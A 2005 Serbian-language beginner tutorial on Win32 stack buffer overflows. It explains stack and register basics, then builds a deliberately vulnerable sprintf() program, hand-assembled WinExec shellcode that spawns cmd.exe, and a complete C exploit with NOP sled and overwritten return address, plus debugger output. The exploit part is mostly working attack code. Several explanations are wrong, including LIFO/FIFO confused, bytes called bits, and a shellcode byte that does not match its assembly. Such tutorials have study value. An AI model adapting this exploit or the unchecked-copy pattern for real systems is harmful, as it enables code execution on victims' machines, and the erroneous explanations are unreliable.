Win32 Stack Buffer Overflow
by: `and
2005
Na samom pocetku:
Ovo je tutorial koji ce opisati "stack based overflow" problem na Win32 Sistemima, kao i njegovo iskoriscavanje. Tutorial pokriva sve oblasti koje ce biti potrebne da i totalni pocetnik razume ( jer sam i ja totalni pocetnik, pa ako i negde pogresim molim vas da mi skrenete paznju na gresku ).
A da, ja nisam odgovaran za bilo kakvu stetu koju napravite saznanjima do kojih ste dosli iz ovog txt. Ovaj text je napisan u edukativne svrhe !
Jedino sto morate znati pre citanja ovog txt-a je poznavanje osnovnih principa/pravila programiranja.Najbolje je ako znate asebler i/ili c/c++.
Od alata vam je potrebno:
W32Dasm
ollyDbg
C/C++ compiler
calculator (obican iz windowsa)
Depends
Win32API.HLP
ASCII table
sve ove alate mozete lako naci na net-u ( pogledaj sekciju resursi ).
Stack & Registry:
Stack je neprekidni deo memorije koji je nasao primenu kod strukturnog programiranja, on pri svakom pozivu neke funkcije cuva povratnu adresu iz te funkcije u glavni program.
Radi na principu LIFO ( last in first out ), podatak koji zadnji udje (memorise) na stek prvi ce da bude procitan, ili FIFO ( first in first out ) podatak koji je zadnji memorisan bice prvi procitan.Takodje stack se koristi za cuvanje raznih promenljivih i drugih podataka koje program koristi u toku svog izvrsavanja.
Ili ako vam se ovako vise svidja:
Stek je bezadresna memorija sa sekvencijalnim pristupom.Kod ove memorije, memoriske lokacije formiraju jednodimenzionalni niz.Kod ovih memorija nije potrebno adresiranje jer se citanje i pisanje vrsi samo na jednom mestu (na vrhu steka).Operacija upisa na stek naziva se PUSH ( ubaci ) a citanja POP ( izbaci ).
Evo nacina kako da utvrdite princip na koji radi vas procesor:
#include <stdio.h>
int main()
{
char buffer00[10] = "Prvi";
char buffer01[10] = "Drugi";
printf("Memorijska adresa promenljive buffer00: 0x%x\n",*buffer00);
printf("Memorijska adresa promenljive buffer01: 0x%x\n",*buffer01);
return (0);
}
I sad, ja sam dobio da mi je buffer00 na 0x55 a buffer01 na 0x44, a to znaci da je LIFO ! E sad kako LIFO ? Tako sto se Stack memorise naopako, ... :
S|-------| - Nize memoriske lokacije npr 0x44
T|-------|
A|-------|
C|-------|
K|-------| - Vise memoriske lokacije npr 0x55
A to znaci da ako se buffer01 napuni sa vise od 10by, prepisace memoriju rezervisanu za buffer00. I to je ustvari ideja "Stack Buffer Overflow" ( detaljnije u sekciji Buffer Overflow ) !
Za rad sa stekom koriste se par registra, e sad pitanje je sta su to registry:
Registry su memoriske lokacije (elektronska kola) koje su integrisane u samom procesoru, sluze za cuvanje podataka koji se trenutno obradjuju, za cuvanje adresa promenjljivih, cuvanje adresa funkcija ili povratnih adresa,cuvanje raznih stanja procesora ...
Podela ide ovako ( familija 8086 ) :
Registry podataka: AX,BX,CX,DX - registri opste namene !
Pokazivacki registry: SI,DI - za nas nebitno ...
Indeksni registry: SP,BP -
SP ( ESP ) Pokazivac vrha steka
BP ( EBP ) ili FP ( frame pointer ) - pokazivac baze ( frame ), pokazuje gde pocinje neka sekcija podataka\intrukcija u steku ! Koristi se zato sto se FP ne menja prilikom POP/PUSH intrukcija ( lakse za adresiranje ) !
Segmentni registri: CS,DS,SS,ES -
CS: Code segment, pokazuje gde se nalazi kod programa ...
SS: Da bi se pristupilo podacima u segmentu steka, adresa segmenta smestena je u SS ( registar segmenta podataka ) a pomeraj u SP (stack pointer).
IP ( Instruction Pointer ) - brojac instrukcija, pokazuje gde se nalazi sledeca instrukcija koja treba da se izvrsi u CS !
FLAGS registry - registar uslova ( ili stanja kod procesora ) ... nebitno za sada !
Svi ovi registri su 16bitni ali kod procesora 386+ se prosiruju na 32bita i dobijaju slovo E (extended) ispred imena.
Primer AX registar :
AX
--------------------------------------
| AH | AL |
--------------------------------------
AH i AL su visi i nizi delovi registra ( svaki po 8bita ).
Primer EAX registar :
EAX
--------------------------------------------------
| | AH | AL |
--------------------------------------------------
AH i AL cine AX ( 16 bita ) a AH i ostalih 16 bita cine EAX.
E sad malo da to skiciramo:
S|-code--| < - Vrh steka ESP - Nize memoriske lokacije
T|-code--|
A|-code--|
C|-code--| < - EBP ili FP
K|-------| - Vise memoriske lokacije
E sad kada sve ovo znamo pogledajmo sledeci primer:
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[10];
sprintf(buffer,argv[1]);
return 0;
}
U ovom slucaju sprintf() je funkcija koja se poziva iz nekog dll.A to znaci da se funkcija pozove i onda se u EIP sacuva povratna adresa iz funkcije ( cuva se adresa sledece instrukcije posle sprintf()). U svakoj funkciji na kraju postoji intrukcija RET koja ustvari izvrsava naredbu na adresi koja je sacuvana u registry EIP.
Dakle, stack izgleda ovako ( zarotirana slika :) :
STACK
-------------------------------------------------
[buffer][EBP][EIP] ---> Vise memoriske lokacije
-------------------------------------------------
^ 12b 4b 4b
^
^ Vrh steka ESP
E znaci kada pozovemo sprintf(), na steku se rezervise mesto za 12bita, pa onda 4 za EBP i 4 za EIP.Sigurno se pitate zasto 12 zar nije 10 ? E to je zato sto je jedna rec ( word ) duzine 4 bita, pa znaci ide 4 bita za prvu, 4 bita za drugu i 4 bita ide za preostala dva bita, ukupno 4 + 4 + 4 = 12 !
A to znaci da ako npr pokrenemo ovaj program i kao parametar mu zadamo AAAAAAAAAAAABBBBCCCC,
dobicemo gresku ! Zasto zasto sto smo prepisali sadrzaj registra EBP i EIP sa BBBB i CCCC a kada CCCC prevedemo u heksadecimalni kod dobicemo 0x43434343, tj trazicemo od programa da izvrsi instrukciju na toj adresi a ta adresa ne postoji ili jednostavno nije moguce da se izvrsi!
Buffer Overflow (+ Shell Code) :
Znaci, zakljucili smo sledece: Buffer Overflow nastaje kada u neki prostor na steku za koji je rezervisan odredjeni deo memorije ubacimo vise podataka nego sto je predvidjeno i time prepisemo neki deo neke druge variable ili EBP/ESP ili neki drugi deo koda.
Nas najvise zanima kako da prepisemo EIP ( povratnu adresu ) zato sto je mozemo iskoristiti za izvrsavanje neke instrukcije koja nama moze da posluzi za nesto ( npr pokretanje cmd.exe ).
Ovaj overflow se dogodio kod funkcije sprintf() zato sto ova funkcija ne proverava duzine bafera.Takodje i kod sledecih funkcija moze doci do overflow-a:
Memcpy()
Gets()
Strcat()
Strcpy()
E sada pitanje je kako iskoristiti ovo ? Lako, napisemo svoj program i smestimo ga u bafer prepisemo sve posle njega do EIP-a i u EIP upisemo adresu pocetka naseg programa !
E da krenemo, evo mete ( nazovimo je vuln.c ):
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[128];
sprintf(buffer,argv[1]);
return 0;
}
I evo cilja: Hocemo da pokrenemo cmd.exe !
E sad treba prvo da napisemo program koji ce da pokrene cmd, to cemo uraditi pomocu WinExec() API funkcije ! Za ovaj deo pogledajte WINAPI32.HLP ! I trebace vam malo znanja asm-a ( pogledaj sekciju Asembler )!
WinExec
(
LPCSTR lpCmdLine,// Adresa naseg programa (cmd)
UINT uCmdShow // I stil prikazivanja(minimize,maximize,hide)
);
Za stil pogledajte:
ShowWindow() ... I mi cemo da izaberemo SW_MAXIMIZE !
E sada krenimo sa pisanjem naseg asm koda za pokretanje cmd-a.Kod bi trebao da izgleda ovako a sada cu i da objasnim zasto :
#include <windows.h>
#include <winbase.h>
int main()
{
__asm
{
push ebp
mov ebp,esp
xor edi,edi
push edi
mov byte ptr [ebp-04h],63h
mov byte ptr [ebp-03h],6Dh
mov byte ptr [ebp-02h],64h
push edi
mov byte ptr [ebp-08h],03h
lea eax,[ebp-04h]
push eax
mov eax, 0x77E6FD35
call eax
}
return 0;
}
push ebp
mov ebp,esp
Ovde cuvamo EBP ( base pointer ) zato sto ce on biti prepisan kada bude izvrsen overflow .
Da bi WinExec znao da radvoji prvi i drugi paramerat za to koristi NULL string (0x00), a posto mi ne smemo da imamo NULL string u svom bufferu zato sto sprintf() funkcija ceka NULL karakter da bi izvrsila ret, mi cemo da uradimo sledece:
xor edi,edi
push edi
Dalje:
mov byte ptr [ebp-04h],63h
mov byte ptr [ebp-03h],6Dh
mov byte ptr [ebp-02h],64h
push edi
Upisujemo prvi parametar (cmd), 63h = c
6Dh = m
64h = d za ovo pogledajte neku ASCII tabelu !
I dalje upisujemo NULL karaker
push edi
Dalje:
mov byte ptr [ebp-08h],03h , upisujemo drugi parametar SW_MAXIMIZE .
Onda: lea eax,[ebp-04h]
push eax , ucitamo adresu naseg cmd u eax i gurnemo ga na stek !
I na kraju:
mov eax, 0x77E6FD35
call eax
U eax stavljamo adresu WinExec-a i onda pozivamo tu istu funkciju !
Sigurno se pitate kako sam nasao adresu WinExec(), e pa zato vam je potreban Depends ! Pokrenite Depends i otvorite nas vuln.exe ( pretpostavljam da ste ga vec iskompajlirali ) !
U levom prozoru izaberite KERNEL32.DLL, sada sa desne strane imate dva prozora, u donjem potrazite WinExec i pogledajte sta pise za "Entry point", kod mene je 0x0000FD35, dalje u prozoru skroz dole pogledajte sta pise za KERNEL.DLL u polju "Base", kod mene je 0x77E60000 ! E sad saberite ove dve adrese i dobicete 0x77E6FD35 ( ako ne znate kako da saberete koristite calc :).
I sada nam ostaje da ovaj nas program zapisemo u asm kodu, i to cemo da uradimo uvako: Iskompajlirajmo ovaj nas nazovimo asmshell.c i onda asmshell.exe otvorimo u W32Dasm i skrolamo malo na dole dok ne naidjemo na nas kod odozgo ( kod mene je ovako ):
:00401028 55 push ebp
:00401029 8BEC mov ebp, esp
:0040102B 33FF xor edi, edi
:0040102D 57 push edi
:0040102E C645FC63 mov [ebp-04], 63
:00401032 C645FD6D mov [ebp-03], 6D
:00401036 C645FE64 mov [ebp-02], 64
:0040103A 57 push edi
:0040103B C645F803 mov [ebp-08], 03
:0040103F 8D45FC lea eax, dword ptr [ebp-04]
:00401042 50 push eax
:00401043 B835FDE677 mov eax, 77E6FD35
:00401048 FFD0 call eax
I sada nas kod su ustvari ovi brojevi i slova posle adresa ...
55
8BEC
33FF
...
50
B835FDE677
FFD0
E sada to treba da zapisemo tako da bude razumljivo u nasem exploitu, tj sada pisemo shell code. On se pise ovako:
\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x01\x8D\x45\xFC\x50\xB8\x35\xFD\xE6\x77\xFF\xD0
I to je sada nas program koji pokrece cmd ! Ostaje na jos samo da napisemo ceo exploit ... to bi trebalo da izgleda ovako:
#include <stdio.h>
#include <string.h>
main()
{
char filename[] = "vuln.exe "; // Ime naseg ranjivog programa + razmak
char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6"
"\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8"
"\x01\x8D\x45\xFC\x50\xB8"
"\x35\xFD\xE6\x77" // WinExec()
"\xFF\xD0\xCC"; // 35 by
char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // 75 by
// shellcode + nops 110 by
char ret[] = "\x48\xFF\x12\x00"; // povratna adresa koja nas vraca na nas kod u baferu
static char buffer[1000]; //nas bafer
strcat(buffer,filename); //u koji upisujemo filename
strcat(buffer,nops); //onda nop-ove da bi popunili celih 128 by
strcat(buffer, shellcode); // nas code
strcat(buffer,"XXXXXXXXXXXXXXXXXXBBBB"); // onda jos malo stringa do 128 by + EBP
strcat(buffer,ret); // i na kraju prepisemo EIP
system(buffer); // i pokrenemo program !
}
Da objasnimo jos malo ... dodali smo na kraju naseg shell koda \xCC to je zato sto to predstavlja int3 koji prekida program ! Nop-ovi (x90) su naredbe koje ne rade nista, nego samo procesoru kazu da ide dalje ( koristimo ih da bi popunili prostor u baferu ).
E da nisam vam rekao kako da nadjete ret ! To uradimo tako sto otvorimo nas vuln.c u ollDbg i za argument zadamo nesto sto ce prepisati ceo bufer i ebp i eip npr:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc
I kada nas program zakuca videcemo sledece u prozoru za registre ( ovako je kod mene ):
EAX 00000000
ECX 0012FE84
EDX 0012FE84
EBX 7FFDF000
ESP 0012FF88 --> A nas ovo zanima !
EBP 62626262 --> BBBB
ESI 000F01B8
EDI 00000006
EIP 63636363 --> CCCC
E sad posto ESP pokazuje vrh steka onda pocetak naseg bafera cemo da nadjemo tako sto cemo od 0012FF88 oduzeti 80 ( decimalno 128 ) i dobicemo 0012FF08, sad da bi nas program radio napisacemo 0012FF48 i onda ce on da skoci negde u NOP-ove i njih ce da "izvrsava" sve dok ne stigne do naseg koda !
Ostaje da iskompajliramo ovaj exploit.c i da ga pokrenemo u cmd-u i kada ga pokrenemo dobijemo nesto ovako:
---------------------------------------------------------
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
E:\Icefor\Exploit\>run
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
E:\Icefor\Exploit\>
E:\Icefor\Exploit\>
---------------------------------------------------------
Posle toga verovatno cemo da dobijemo i neku poruku o gresci ali ona nama nije bitna jer smo pokrenuli cmd !
Asembler:
PUSH - Upisuje na stek
POP - Cita sa steka
MOV destinacija,izvor - kopira vrednost iz izvora u destinaciju (izvor ostaje nepromenjen)
LEA destinacija,izvor - izvrsava se prenos u okviru sitog segmenta ( slicno kao MOV )
XOR destinacija,izvor - izvrsava se logicka operacija "iskljucivo ili" izmedju destinacije i izvora i rezultat se smesta u destinacija.Koristi se za dobijanje NULL karaktera ( 0x00 ) !
Evo kako radi:
0-0->0
0-1->1
1-0->1
1-1->0
A to znaci da kada napisemo xor edi,edi dobijemo sve 0 jer su registry jednaki :)
CALL - Poziva funkciju
Resursi:
Www:
www.exetools.com
www.elitehaven.net
www.elitesecurity.org
www.google.com :)
Txt:
predator_tut.txt
stack_exploiti_tutorial_v0.4.txt
Smashing The Stack For Fun And Profit by Aleph One
Writing and Exploiting Buffer Overflow Vulnerabilities on Windows Xp by Peter Winter-Smith
Outro:
Nadam se da ce vam ovaj tutorial pomoci da shvatite neke osnovne stvari o exploitima, i da ce vas stimulisati na dalje istrazivanje\ucenje ! Ovaj txt je prilicno pocetnicki i moguce je da ima greske ( ni meni nije sve bas najjasnije ), pa vas molim da mi skrenete paznju\ispravite da bih ja i drugi koji su ovo procitali naucili kako to zaista radi !
Ocekujte jos tutorijala o ostalim vrstama exploita ...
`and 2005
[email protected]